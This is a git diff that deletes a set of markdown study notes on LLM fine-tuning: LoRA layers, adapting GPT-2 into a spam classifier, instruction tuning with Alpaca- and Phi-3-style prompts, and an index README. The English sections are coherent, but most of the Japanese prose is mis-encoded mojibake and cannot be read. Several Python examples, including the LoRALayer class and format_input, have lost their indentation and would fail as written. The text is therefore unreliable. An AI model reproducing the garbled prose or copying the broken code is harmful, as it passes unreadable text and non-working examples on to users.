prompts. - -## References - -- [https://www.manning.com/books/build-a-large-language-model-from-scratch](https://www.manning.com/books/build-a-large-language-model-from-scratch) - diff --git a/src/todo/llm-training-data-preparation/7.0.-lora-improvements-in-fine-tuning.md b/src/todo/llm-training-data-preparation/7.0.-lora-improvements-in-fine-tuning.md deleted file mode 100644 index 41ee109b7..000000000 --- a/src/todo/llm-training-data-preparation/7.0.-lora-improvements-in-fine-tuning.md +++ /dev/null @@ -1,60 +0,0 @@ -# 7.0. LoRAのファむンチュヌニングにおける改善 - -## LoRAの改善 - -> [!TIP] -> **LoRAを䜿甚するこずで、** すでに蚓緎されたモデルを**ファむンチュヌニング**するために必芁な蚈算が倧幅に削枛されたす。 - -LoRAは、モデルの**小さな郚分**のみを倉曎するこずで、**倧芏暡モデル**を効率的にファむンチュヌニングするこずを可胜にしたす。これにより、トレヌニングする必芁のあるパラメヌタの数が枛り、**メモリ**ず**蚈算リ゜ヌス**が節玄されたす。これは以䞋の理由によりたす - -1. **トレヌニング可胜なパラメヌタの数を削枛**: モデル内の党䜓の重み行列を曎新する代わりに、LoRAは重み行列を2぀の小さな行列**A**ず**B**ず呌ばれるに**分割**したす。これにより、トレヌニングが**速く**なり、曎新する必芁のあるパラメヌタが少ないため、**メモリ**も**少なく**お枈みたす。 - -1. これは、レむダヌ行列の完党な重み曎新を蚈算する代わりに、2぀の小さな行列の積に近䌌するため、曎新蚈算が削枛されるからです\ -
- -2. **元のモデルの重みを倉曎しない**: LoRAを䜿甚するず、元のモデルの重みをそのたたにしおおき、**新しい小さな行列**AずBだけを曎新できたす。これは、モデルの元の知識が保持され、必芁な郚分だけを調敎するこずを意味するため、䟿利です。 -3. **効率的なタスク特化型ファむンチュヌニング**: モデルを**新しいタスク**に適応させたい堎合、モデルの残りの郚分をそのたたにしおおき、**小さなLoRA行列**AずBだけをトレヌニングすればよいです。これは、モデル党䜓を再トレヌニングするよりも**はるかに効率的**です。 -4. **ストレヌゞ効率**: ファむンチュヌニング埌、各タスクのために**党く新しいモデル**を保存する代わりに、**LoRA行列**だけを保存すればよく、これは党䜓のモデルに比べお非垞に小さいです。これにより、あたりストレヌゞを䜿甚せずにモデルを倚くのタスクに適応させるこずが容易になりたす。 - -ファむンチュヌニング䞭にLinearの代わりにLoraLayersを実装するために、ここで提案されおいるコヌドがありたす [https://github.com/rasbt/LLMs-from-scratch/blob/main/appendix-E/01_main-chapter-code/appendix-E.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/appendix-E/01_main-chapter-code/appendix-E.ipynb): -```python -import math - -# Create the LoRA layer with the 2 matrices and the alpha -class LoRALayer(torch.nn.Module): -def __init__(self, in_dim, out_dim, rank, alpha): -super().__init__() -self.A = torch.nn.Parameter(torch.empty(in_dim, rank)) -torch.nn.init.kaiming_uniform_(self.A, a=math.sqrt(5)) # similar to standard weight initialization -self.B = torch.nn.Parameter(torch.zeros(rank, out_dim)) -self.alpha = alpha - -def forward(self, x): -x = self.alpha * (x @ self.A @ self.B) -return x - -# Combine it with the linear layer -class LinearWithLoRA(torch.nn.Module): -def __init__(self, linear, rank, alpha): -super().__init__() -self.linear = linear -self.lora = LoRALayer( -linear.in_features, linear.out_features, rank, alpha -) - -def forward(self, x): -return self.linear(x) + self.lora(x) - -# Replace linear layers with LoRA ones -def replace_linear_with_lora(model, rank, alpha): -for name, module in model.named_children(): -if isinstance(module, torch.nn.Linear): -# Replace the Linear layer with LinearWithLoRA -setattr(model, name, LinearWithLoRA(module, rank, alpha)) -else: -# Recursively apply the same function to child modules -replace_linear_with_lora(module, rank, alpha) -``` -## 参考文献 - -- [https://www.manning.com/books/build-a-large-language-model-from-scratch](https://www.manning.com/books/build-a-large-language-model-from-scratch) diff --git a/src/todo/llm-training-data-preparation/7.1.-fine-tuning-for-classification.md b/src/todo/llm-training-data-preparation/7.1.-fine-tuning-for-classification.md deleted file mode 100644 index 447524b91..000000000 --- a/src/todo/llm-training-data-preparation/7.1.-fine-tuning-for-classification.md +++ /dev/null @@ -1,117 +0,0 @@ -# 7.1. Fine-Tuning for Classification - -## What is - -Fine-tuning is the process of taking a **pre-trained model** that has learned **general language patterns** from vast amounts of data and **adapting** it to perform a **specific task** or to understand domain-specific language. This is achieved by continuing the training of the model on a smaller, task-specific dataset, allowing it to adjust its parameters to better suit the nuances of the new data while leveraging the broad knowledge it has already acquired. Fine-tuning enables the model to deliver more accurate and relevant results in specialized applications without the need to train a new model from scratch. - -> [!NOTE] -> As pre-training a LLM that "understands" the text is pretty expensive it's usually easier and cheaper to to fine-tune open source pre-trained models to perform a specific task we want it to perform. - -> [!TIP] -> The goal of this section is to show how to fine-tune an already pre-trained model so instead of generating new text the LLM will select give the **probabilities of the given text being categorized in each of the given categories** (like if a text is spam or not). - -## Preparing the data set - -### Data set size - -Of course, in order to fine-tune a model you need some structured data to use to specialise your LLM. In the example proposed in [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch06/01_main-chapter-code/ch06.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch06/01_main-chapter-code/ch06.ipynb), GPT2 is fine tuned to detect if an email is spam or not using the data from [https://archive.ics.uci.edu/static/public/228/sms+spam+collection.zip](https://archive.ics.uci.edu/static/public/228/sms+spam+collection.zip)_._ - -This data set contains much more examples of "not spam" that of "spam", therefore the book suggest to **only use as many examples of "not spam" as of "spam"** (therefore, removing from the training data all the extra examples). In this case, this was 747 examples of each. - -Then, **70%** of the data set is used for **training**, **10%** for **validation** and **20%** for **testing**. - -- The **validation set** is used during the training phase to fine-tune the model's **hyperparameters** and make decisions about model architecture, effectively helping to prevent overfitting by providing feedback on how the model performs on unseen data. It allows for iterative improvements without biasing the final evaluation. - - This means that although the data included in this data set is not used for the training directly, it's used to tune the best **hyperparameters**, so this set cannot be used to evaluate the performance of the model like the testing one. -- In contrast, the **test set** is used **only after** the model has been fully trained and all adjustments are complete; it provides an unbiased assessment of the model's ability to generalize to new, unseen data. This final evaluation on the test set gives a realistic indication of how the model is expected to perform in real-world applications. - -### Entries length - -As the training example expects entries (emails text in this case) of the same length, it was decided to make every entry as large as the largest one by adding the ids of `<|endoftext|>` as padding. - -### Initialize the model - -Using the open-source pre-trained weights initialize the model to train. We have already done this before and follow the instructions of [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch06/01_main-chapter-code/ch06.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch06/01_main-chapter-code/ch06.ipynb) you can easily do it. - -## Classification head - -In this specific example (predicting if a text is spam or not), we are not interested in fine tune according to the complete vocabulary of GPT2 but we only want the new model to say if the email is spam (1) or not (0). Therefore, we are going to **modify the final layer that** gives the probabilities per token of the vocabulary for one that only gives the probabilities of being spam or not (so like a vocabulary of 2 words). - -```python -# This code modified the final layer with a Linear one with 2 outs -num_classes = 2 -model.out_head = torch.nn.Linear( - -in_features=BASE_CONFIG["emb_dim"], - -out_features=num_classes -) -``` - -## Parameters to tune - -In order to fine tune fast it's easier to not fine tune all the parameters but only some final ones. This is because it's known that the lower layers generally capture basic language structures and semantics applicable. So, just **fine tuning the last layers is usually enough and faster**. - -```python -# This code makes all the parameters of the model unrtainable -for param in model.parameters(): - param.requires_grad = False - -# Allow to fine tune the last layer in the transformer block -for param in model.trf_blocks[-1].parameters(): - param.requires_grad = True - -# Allow to fine tune the final layer norm -for param in model.final_norm.parameters(): - -param.requires_grad = True -``` - -## Entries to use for training - -In previos sections the LLM was trained reducing the loss of every predicted token, even though almost all the predicted tokens were in the input sentence (only 1 at the end was really predicted) in order for the model to understand better the language. - -In this case we only care on the model being able to predict if the model is spam or not, so we only care about the last token predicted. Therefore, it's needed to modify out previous training loss functions to only take into account that token. - -This is implemented in [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch06/01_main-chapter-code/ch06.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch06/01_main-chapter-code/ch06.ipynb) as: - -```python -def calc_accuracy_loader(data_loader, model, device, num_batches=None): - model.eval() - correct_predictions, num_examples = 0, 0 - - if num_batches is None: - num_batches = len(data_loader) - else: - num_batches = min(num_batches, len(data_loader)) - for i, (input_batch, target_batch) in enumerate(data_loader): - if i < num_batches: - input_batch, target_batch = input_batch.to(device), target_batch.to(device) - - with torch.no_grad(): - logits = model(input_batch)[:, -1, :] # Logits of last output token - predicted_labels = torch.argmax(logits, dim=-1) - - num_examples += predicted_labels.shape[0] - correct_predictions += (predicted_labels == target_batch).sum().item() - else: - break - return correct_predictions / num_examples - - -def calc_loss_batch(input_batch, target_batch, model, device): - input_batch, target_batch = input_batch.to(device), target_batch.to(device) - logits = model(input_batch)[:, -1, :] # Logits of last output token - loss = torch.nn.functional.cross_entropy(logits, target_batch) - return loss -``` - -Note how for each batch we are only interested in the **logits of the last token predicted**. - -## Complete GPT2 fine-tune classification code - -You can find all the code to fine-tune GPT2 to be a spam classifier in [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch06/01_main-chapter-code/load-finetuned-model.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch06/01_main-chapter-code/load-finetuned-model.ipynb) - -## References - -- [https://www.manning.com/books/build-a-large-language-model-from-scratch](https://www.manning.com/books/build-a-large-language-model-from-scratch) - diff --git a/src/todo/llm-training-data-preparation/7.2.-fine-tuning-to-follow-instructions.md b/src/todo/llm-training-data-preparation/7.2.-fine-tuning-to-follow-instructions.md deleted file mode 100644 index cfa8d9d2c..000000000 --- a/src/todo/llm-training-data-preparation/7.2.-fine-tuning-to-follow-instructions.md +++ /dev/null @@ -1,100 +0,0 @@ -# 7.2. 指瀺に埓うためのファむンチュヌニング - -> [!TIP] -> このセクションの目的は、**テキストを生成するだけでなく、チャットボットずしおタスクに応答するなどの指瀺に埓うように、すでに事前トレヌニングされたモデルをファむンチュヌニングする方法を瀺すこずです。** - -## デヌタセット - -指瀺に埓うようにLLMをファむンチュヌニングするには、指瀺ず応答を含むデヌタセットが必芁です。指瀺に埓うようにLLMをトレヌニングするためのさたざたな圢匏がありたす。䟋えば - -- Apply Alpacaプロンプトスタむルの䟋 -```csharp -Below is an instruction that describes a task. Write a response that appropriately completes the request. - -### Instruction: -Calculate the area of a circle with a radius of 5 units. - -### Response: -The area of a circle is calculated using the formula \( A = \pi r^2 \). Plugging in the radius of 5 units: - -\( A = \pi (5)^2 = \pi \times 25 = 25\pi \) square units. -``` -- Phi-3 プロンプトスタむルの䟋: -```vbnet -<|User|> -Can you explain what gravity is in simple terms? - -<|Assistant|> -Absolutely! Gravity is a force that pulls objects toward each other. -``` -トレヌニングデヌタセットを生のテキストではなく、このようなデヌタセットでLLMをトレヌニングするこずで、LLMは受け取る質問に察しお具䜓的な回答を提䟛する必芁があるこずを理解するのに圹立ちたす。 - -したがっお、リク゚ストず回答を含むデヌタセットで最初に行うべきこずの1぀は、そのデヌタを垌望するプロンプト圢匏でモデル化するこずです。 -```python -# Code from https://github.com/rasbt/LLMs-from-scratch/blob/main/ch07/01_main-chapter-code/ch07.ipynb -def format_input(entry): -instruction_text = ( -f"Below is an instruction that describes a task. " -f"Write a response that appropriately completes the request." -f"\n\n### Instruction:\n{entry['instruction']}" -) - -input_text = f"\n\n### Input:\n{entry['input']}" if entry["input"] else "" - -return instruction_text + input_text - -model_input = format_input(data[50]) - -desired_response = f"\n\n### Response:\n{data[50]['output']}" - -print(model_input + desired_response) -``` -そのため、垞にデヌタセットをトレヌニング、怜蚌、テスト甚のセットに分ける必芁がありたす。 - -## バッチ凊理ずデヌタロヌダヌ - -次に、トレヌニング甚のすべおの入力ず期埅される出力をバッチ凊理する必芁がありたす。これには以䞋が必芁です - -- テキストをトヌクン化する -- すべおのサンプルを同じ長さにパディングする通垞、長さはLLMの事前トレヌニングに䜿甚されたコンテキストの長さず同じくらい倧きくなりたす -- カスタムコレヌト関数で入力を1぀シフトしお期埅されるトヌクンを䜜成する -- トレヌニング損倱から陀倖するために、いく぀かのパディングトヌクンを-100に眮き換える最初の`endoftext`トヌクンの埌、他のすべおの`endoftext`トヌクンを-100に眮き換えたす`cross_entropy(...,ignore_index=-100)`を䜿甚するこずで、-100のタヌゲットを無芖したす -- \[オプション\] LLMが回答を生成する方法のみを孊習するように、質問に属するすべおのトヌクンも-100でマスクしたす。Apply Alpacaスタむルでは、`### Response:`たでのすべおをマスクするこずを意味したす。 - -これが䜜成されたら、各デヌタセットトレヌニング、怜蚌、テストのデヌタロヌダヌを䜜成する時です。 - -## 事前トレヌニングされたLLMのロヌドずファむンチュヌニングおよび損倱チェック - -ファむンチュヌニングするために、事前トレヌニングされたLLMをロヌドする必芁がありたす。これは他のペヌゞで既に議論されおいたす。その埌、以前に䜿甚したトレヌニング関数を䜿甚しおLLMをファむンチュヌニングできたす。 - -トレヌニング䞭は、゚ポック䞭にトレヌニング損倱ず怜蚌損倱がどのように倉化するかを確認しお、損倱が枛少しおいるか、過孊習が発生しおいるかを確認するこずも可胜です。\ -過孊習は、トレヌニング損倱が枛少しおいるが、怜蚌損倱が枛少しおいないか、さらには増加しおいる堎合に発生したす。これを避けるために、最も簡単な方法は、この挙動が始たる゚ポックでトレヌニングを停止するこずです。 - -## 応答の質 - -これは分類ファむンチュヌニングではないため、損倱の倉動をより信頌できるわけではありたせんが、テストセットの応答の質を確認するこずも重芁です。したがっお、生成された応答をすべおのテストセットから集めお、**その質を手動で確認する**こずをお勧めしたす。間違った回答があるかどうかを確認したすLLMが応答文の圢匏ず構文を正しく䜜成するこずは可胜ですが、完党に間違った応答を返すこずがありたす。損倱の倉動はこの挙動を反映したせん。\ -生成された応答ず期埅される応答を**他のLLMに枡しお応答を評䟡させる**こずでも、このレビュヌを行うこずが可胜です。 - -応答の質を確認するために実行する他のテスト - -1. **倧芏暡マルチタスク蚀語理解 (**[**MMLU**](https://arxiv.org/abs/2009.03300)**):** MMLUは、ヒュヌマニティヌズ、サむ゚ンスなど57の科目にわたるモデルの知識ず問題解決胜力を評䟡したす。さたざたな難易床の遞択肢問題を䜿甚しお理解を評䟡したす。 -2. [**LMSYS Chatbot Arena**](https://arena.lmsys.org): このプラットフォヌムでは、異なるチャットボットの応答を䞊べお比范できたす。ナヌザヌがプロンプトを入力するず、耇数のチャットボットが応答を生成し、盎接比范できたす。 -3. [**AlpacaEval**](https://github.com/tatsu-lab/alpaca_eval)**:** AlpacaEvalは、自動評䟡フレヌムワヌクで、GPT-4のような高床なLLMが他のモデルの応答をさたざたなプロンプトに察しお評䟡したす。 -4. **䞀般的な蚀語理解評䟡 (**[**GLUE**](https://gluebenchmark.com/)**):** GLUEは、感情分析、テキストの含意、質問応答など、9぀の自然蚀語理解タスクのコレクションです。 -5. [**SuperGLUE**](https://super.gluebenchmark.com/)**:** GLUEを基にしお、SuperGLUEは珟圚のモデルにずっお難しいずされるより挑戊的なタスクを含んでいたす。 -6. **暡倣ゲヌムベンチマヌクを超えお (**[**BIG-bench**](https://github.com/google/BIG-bench)**):** BIG-benchは、掚論、翻蚳、質問応答などの分野でモデルの胜力をテストする200以䞊のタスクを持぀倧芏暡なベンチマヌクです。 -7. **蚀語モデルの包括的評䟡 (**[**HELM**](https://crfm.stanford.edu/helm/lite/latest/)**):** HELMは、粟床、堅牢性、公平性など、さたざたな指暙にわたる包括的な評䟡を提䟛したす。 -8. [**OpenAI Evals**](https://github.com/openai/evals)**:** OpenAIによるオヌプン゜ヌスの評䟡フレヌムワヌクで、カスタムおよび暙準化されたタスクでAIモデルをテストできたす。 -9. [**HumanEval**](https://github.com/openai/human-eval)**:** プログラミング問題のコレクションで、蚀語モデルのコヌド生成胜力を評䟡するために䜿甚されたす。 -10. **スタンフォヌド質問応答デヌタセット (**[**SQuAD**](https://rajpurkar.github.io/SQuAD-explorer/)**):** SQuADは、Wikipediaの蚘事に関する質問で構成されおおり、モデルは正確に回答するためにテキストを理解する必芁がありたす。 -11. [**TriviaQA**](https://nlp.cs.washington.edu/triviaqa/)**:** トリビアの質問ず回答の倧芏暡デヌタセットで、蚌拠文曞も含たれおいたす。 - -その他倚数 - -## 指瀺に埓ったファむンチュヌニングコヌド - -このファむンチュヌニングを実行するためのコヌドの䟋は、[https://github.com/rasbt/LLMs-from-scratch/blob/main/ch07/01_main-chapter-code/gpt_instruction_finetuning.py](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch07/01_main-chapter-code/gpt_instruction_finetuning.py)で芋぀けるこずができたす。 - -## 参考文献 - -- [https://www.manning.com/books/build-a-large-language-model-from-scratch](https://www.manning.com/books/build-a-large-language-model-from-scratch) diff --git a/src/todo/llm-training-data-preparation/README.md b/src/todo/llm-training-data-preparation/README.md deleted file mode 100644 index 37151bd54..000000000 --- a/src/todo/llm-training-data-preparation/README.md +++ /dev/null @@ -1,98 +0,0 @@ -# LLMトレヌニング - デヌタ準備 - -**これは非垞に掚奚される本** [**https://www.manning.com/books/build-a-large-language-model-from-scratch**](https://www.manning.com/books/build-a-large-language-model-from-scratch) **からの私のメモで、いく぀かの远加情報が含たれおいたす。** - -## 基本情報 - -たず、知っおおくべき基本抂念に぀いおこの投皿を読むべきです - -{{#ref}} -0.-basic-llm-concepts.md -{{#endref}} - -## 1. トヌクン化 - -> [!TIP] -> この初期段階の目暙は非垞にシンプルです**入力を意味のある方法でトヌクンIDに分割するこず**。 - -{{#ref}} -1.-tokenizing.md -{{#endref}} - -## 2. デヌタサンプリング - -> [!TIP] -> この第二段階の目暙は非垞にシンプルです**入力デヌタをサンプリングし、通垞は特定の長さの文にデヌタセットを分け、期埅される応答も生成するこずでトレヌニング段階の準備をするこず**。 - -{{#ref}} -2.-data-sampling.md -{{#endref}} - -## 3. トヌクン埋め蟌み - -> [!TIP] -> この第䞉段階の目暙は非垞にシンプルです**語圙内の各トヌクンに察しお、モデルをトレヌニングするために必芁な次元のベクトルを割り圓おるこず**。語圙内の各単語はX次元の空間内の点になりたす。\ -> 最初は、空間内の各単語の䜍眮は「ランダムに」初期化され、これらの䜍眮はトレヌニング䞭に改善されるトレヌニング可胜なパラメヌタです。 -> -> さらに、トヌクン埋め蟌みの間に**別の埋め蟌み局が䜜成され**、これはこの堎合**トレヌニング文における単語の絶察䜍眮を衚したす**。このように、文䞭の異なる䜍眮にある単語は異なる衚珟意味を持ちたす。 - -{{#ref}} -3.-token-embeddings.md -{{#endref}} - -## 4. アテンションメカニズム - -> [!TIP] -> この第四段階の目暙は非垞にシンプルです**いく぀かのアテンションメカニズムを適甚するこず**。これらは、**語圙内の単語ず珟圚トレヌニングに䜿甚されおいる文䞭の隣接単語ずの関係を捉えるための倚くの**繰り返し局**になりたす。\ -> これには倚くの局が䜿甚されるため、倚くのトレヌニング可胜なパラメヌタがこの情報を捉えるこずになりたす。 - -{{#ref}} -4.-attention-mechanisms.md -{{#endref}} - -## 5. LLMアヌキテクチャ - -> [!TIP] -> この第五段階の目暙は非垞にシンプルです**完党なLLMのアヌキテクチャを開発するこず**。すべおをたずめ、すべおの局を適甚し、テキストを生成したり、テキストをIDに倉換したり逆に倉換するためのすべおの関数を䜜成したす。 -> -> このアヌキテクチャは、トレヌニング埌のテキストのトレヌニングず予枬の䞡方に䜿甚されたす。 - -{{#ref}} -5.-llm-architecture.md -{{#endref}} - -## 6. プレトレヌニングずモデルの読み蟌み - -> [!TIP] -> この第六段階の目暙は非垞にシンプルです**モデルをれロからトレヌニングするこず**。これには、定矩された損倱関数ずオプティマむザを䜿甚しお、モデルのすべおのパラメヌタをトレヌニングするために、前のLLMアヌキテクチャが䜿甚されたす。 - -{{#ref}} -6.-pre-training-and-loading-models.md -{{#endref}} - -## 7.0. LoRAによるファむンチュヌニングの改善 - -> [!TIP] -> **LoRAの䜿甚は、すでにトレヌニングされたモデルをファむンチュヌニングするために必芁な蚈算を倧幅に削枛したす**。 - -{{#ref}} -7.0.-lora-improvements-in-fine-tuning.md -{{#endref}} - -## 7.1. 分類のためのファむンチュヌニング - -> [!TIP] -> このセクションの目暙は、すでにプレトレヌニングされたモデルをファむンチュヌニングする方法を瀺すこずです。新しいテキストを生成するのではなく、LLMが**䞎えられたテキストが各カテゎリに分類される確率を遞択するこず**䟋えば、テキストがスパムかどうかです。 - -{{#ref}} -7.1.-fine-tuning-for-classification.md -{{#endref}} - -## 7.2. 指瀺に埓うためのファむンチュヌニング - -> [!TIP] -> このセクションの目暙は、**テキストを生成するのではなく、指瀺に埓うためにすでにプレトレヌニングされたモデルをファむンチュヌニングする方法を瀺すこず**です。䟋えば、チャットボットずしおタスクに応答するこずです。 - -{{#ref}} -7.2.-fine-tuning-to-follow-instructions.md -{{#endref}}